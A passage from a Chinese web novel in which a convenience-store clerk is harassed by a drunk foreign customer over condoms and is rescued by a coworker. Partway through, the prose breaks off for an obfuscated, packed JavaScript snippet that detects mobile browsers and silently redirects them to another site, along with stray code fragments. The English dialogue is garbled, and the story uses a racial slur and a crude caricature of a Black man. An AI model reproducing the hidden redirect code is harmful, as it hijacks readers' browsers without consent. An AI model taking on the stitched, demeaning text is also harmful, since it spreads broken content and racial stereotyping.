程理被这突如其来的指责吓了一跳。


    广州是个开放包容的大城市不假，便利店常有外国顾客光临也是真，可程理对眼前这个壮得像堵墙的黑人男子没有任何印象。


    秉承着英专生的素养，程理回答：“Relax,sir.Idon''trememberhavingdoneanythingwrongtoyou.”


    （冷静点，先生。我不记得有做过对不起你的事。）


    “Beingstubborn,huh?”（嘴硬是吧）黑人从裤兜里掏出一张小票以及粉色塑料盒，又不知道从哪翻出一叠皱巴巴的纸，狠狠拍进柜台。


    程理捏起最上面的纸，抬头是“中川大学附属第一医院”，中间印着“B超检查影像”，底下赫然写着“孕5周”。


    程理的三叉神经开始隐隐作痛，他瞟了眼粉色塑料盒，毫不意外地识别出“避孕套”三个字。


    “Youaresellingfake！Iboughtitlikeafool！Nowmygirlfriendisfxckingpregnant！Youmustberesponsible！”


    （你们卖假货！我像个傻子一样买了！现在我的婆娘天杀的怀了孕！你们必须为此负责！）*


    程理绞尽脑汁思考着应答：“Holdon,sir.Thisisa…em，greatshop.Nofakestuffhere.”


    （等一下先生，这里是一家……呃，好店。不卖假货的。）


    “Bullshit！”（你放屁）隔着柜台，黑人张牙舞爪地推搡程理，浓重的酒味熏了过来。


    程理躲过他的手，趁机抢到小票，一目十行扫过去，立刻发现了不对：


    “Youreceiptisfrom''坤川''shop,thisplaceis''蓝霄''shop,yougotitwrong.”


    （你的小票来自坤川分店，这里是蓝霄分店，你搞错了）


    “Sowhat？”黑人一脸坦然，“Chainstore,isn''tit?”


    （那又怎样？连锁店，不是吗？）


    程理被雷得说不出话，黑人继续输出:


    “Fakecondom,hospitalcostsandmentaldamagpensation,youshouldGimmeahundredgrandfopensation！”


    （假套，医院账单以及精神损失费，你们得给我十万元赔偿才行！）


    程理扶住额头，心说要不干脆报警吧。但这个行为在他心中是下下策，一来他们并不能把喝高了的外国人怎么样，二来还有一小时下班，程理实在不想把回宿舍的时间浪费在录口供上。


    男人骂骂咧咧地高声叫嚷，吓跑了准备进来购物的路人，程理明白不能再拖延，果断掏出手机：


    “Ok！I''mgoingtocallingmyboss.Pleasegoto…那个，seat.”


    （行，我这就给老板打个电话，请你……那个，坐在椅子上）


    黑人瞪大眼：“Didyoujustsay''nigger''?”


    （你是不是说了‘黑鬼’两个字？）


    ……


    哈哈。


    程理知道今天恐怕不能按时下班了。


    程理的沉默激怒了酒气上涌的男人，他一拳打在货架上，花花绿绿的避孕套天女散花似的洒了一地。


    “Sayittomyfaceagain,mtfcng!Youthinkyou''rebetterthanme,huh?YouknowwhereI’mfrom?”


    （有本事再说一遍，你这混账东西！你认为自己比我牛*？你知道我来自哪里吗？）


    “Youmisunderstood,”（你误会了）程理努力不让事态继续崩溃，“Isay''那个''，inChinese,itmeans...”


    （我说‘那个’，中文意思是……）


    “Shutthefxckupman!I’mfromthewestcoast,mtfcng!YousonofBmakeabigbigmistake!”


    （闭嘴吧傻X！老子来自西海岸，你这不长眼的东西算是惹错人了！）


    黑人一把揪住程理的衣领，想把他从柜台里拖出来。程理左手与他对抗，右手滑动手机屏幕，意识到程理打算报警，黑人反手拍飞了他的手机。


    第一届便利店对抗赛正式拉开帷幕，如火如荼中，两位选手双双忽略了门铃的动静，更别提来者走路本就悄无声息。


    “呔！”


    程理怔住，他上一次听到这个词，还是初中文艺汇演。班里表演反串版《鲁智深拳打镇关西》，最壮硕的女同学大吼一声“呔”！接着一拳撂倒了贴满假胡子的男同学，惹得全校师生哄堂大笑。


    不等程理细想，声音的主人身影一闪，钳制程理的力量骤然消散。身高九尺的醉鬼咣当塌了下去，额头重重砸进台面，如同给程理磕了个响头。


    惊魂未定的程理喘着气，视线在女孩金刚怒目的脸定格：“李双？”


    “Letmego！”黑人挣扎着想要起身。


    （放开我）


    李双没理程理，继续用擒拿压制醉鬼：“这里不是美国也不是非洲，这里是中国！在中国就给我讲中文！”


    “Fxckyou！”


    （去你*的！）


    “Crazy,huh?”李双压在黑人后颈的指骨逐渐泛白，“Fine，Lemmetranslateforyouloser！Youthinkit''sfun，right？Tobullypeople，tryhardtofindfault…Thatreallyboostsyourself-esteem,huh?”


    （发癫是吧？很好，那我发发善心为你这个傻*翻译一下。你觉得很有趣是吧？欺负别人，没事找事，让你自尊心爆棚是不是！）


    “Shutupbi——”


    （闭嘴泼——）


    李双的膝盖狠狠击中男人的大腿，他顿时痛得身体瘫软，放到一半的厥词也被打断。


    “Donotprovokeme.”李双一字一顿地说，“I''mAKAEastCoastBruceLee.Icouldkickyousohardyou’dbestuckwithacatheterforlife！”


    （别激怒我。老娘是AKA东海岸李小龙，一脚能踢得你在医院挂一辈子尿袋！）


    冷汗直流的黑人一改刚刚的嚣张，不标准的语调气若游丝：“对唔住……”


    程理瞳孔地震，你小子原来会说中文！


    李双后撤半步：“把弄到地上的东西捡起来！”


    黑人小鸡啄米似的点头，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957837|193211||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    熊一般的身躯缩成团蹲在地上。这货笨手笨脚的，又喝了酒，看不下去的程理也出来帮忙。李双抱着手臂，居高临下地看两男干活。


    大部分商品都回归原位，但有几个避孕套在刚才的对抗赛中被踩扁，塑料纸都裂开，明显不可能再卖得出去。


    李双柳眉倒竖，足尖用力戳向黑人臀部：“赔钱！”


    灰头土脸的黑人摸了摸屁股，不情不愿地掏出钱包：“How…多少钱？”


    程理火速抄起扫码器：“270元。”


    碍于李双的眼神，黑人嘟嘟囔囔地付了钱，扭头准备离开。


    “等等。”李双单手扣住黑人肩膀，眼睛却看向程理，“你的手机有没有事？”


    程理掸去手机表面的灰尘：“钢化膜没碎，功能正常，没有问题。”


    李双松开手，对着仓皇而逃的黑人翻了个白眼。


    程理整理着歪七扭八的工服，诚恳地说：“你力气好大！块头那么大的人，你居然能摁得他一动不动。”


    李双冷笑：“不是我力气大，是某人只顾着敛财，忘记锻炼身体啦。”


    程理抹了把汗：“你英语说得蛮好，在国外住过吗？”


    李双继续阴阳怪气：“也就在美国住了六年而已，比不上某些英语专业的高材生。Greatshop？这么诡异的词组亏他说得出口。”


    程理既想问“你怎么知道我的专业”，又想辩解“我比较擅长笔试”。纠结半天，他老老实实地说：“谢谢你帮我解围。”


    李双撩开头发，露出脖颈中央闪着银光的缇芙妮项链：“不客气。”


    “不过……你为什么这个点会出现在店里？”


    “为了你啊。”李双哼了一声。


    “我？”


    李双打开微信聊天界面：“我这周五晚上有事要请假，店长让我联系你换班。可我不想花钱买你的好友位，只能来店里找你咯。”


    “我没那个意思……”程理挠了挠头，“行吧，我有空，同意和你换班。”


    “算你识相。”李双走出去两步，又折返，“喂，我一早就在门口了。鬼佬靠近你的时候，你的手握成了拳，他对你动手的时候，你反而松开了，为什么？”


    程理思索片刻，认真地回答：“现在是法治社会，互殴会拘留，况且他是外国人，搞不好会引发国际舆论。”


    出风口的气流吹拂李双头顶，她的脸被碎发遮住大半，眸色也在阴影中晦暗不明。


    “因为惧怕代价，所以即使被羞辱，你也会忍着么？”


    不存在的电流触过手背，程理下意识反问：“什么？”


    “真没用！”


    甩下这句话，李双大步汇入夜色。


    呆站了几分钟，望着满地的黑脚印，程理认命地寻找起拖把。


    —————————


    程理将电瓶车停好，掏出手机看了眼，核实今天真的是周三，现在也确实接近下午三点。


    黑人事件已经过去了一周，程理却历历在目。李双又是骂他，又是救他，最后还问了那样奇怪的问题。一想到今天要和她打照面，程理就有些尴尬，但打工人就是打工人，他只能硬着头皮闷头推开门。


    “来啦？”店长大姐看到程理，露出亲切的笑容。


    “店长下午好。”程理环顾四周，“今天不是周三么？怎么不是李双上中班？”


    “你不知道吗？”店长一脸诧异，“她上周就辞职了呀。”


    程理打开工作群，黑色头像的账号果然已经消失。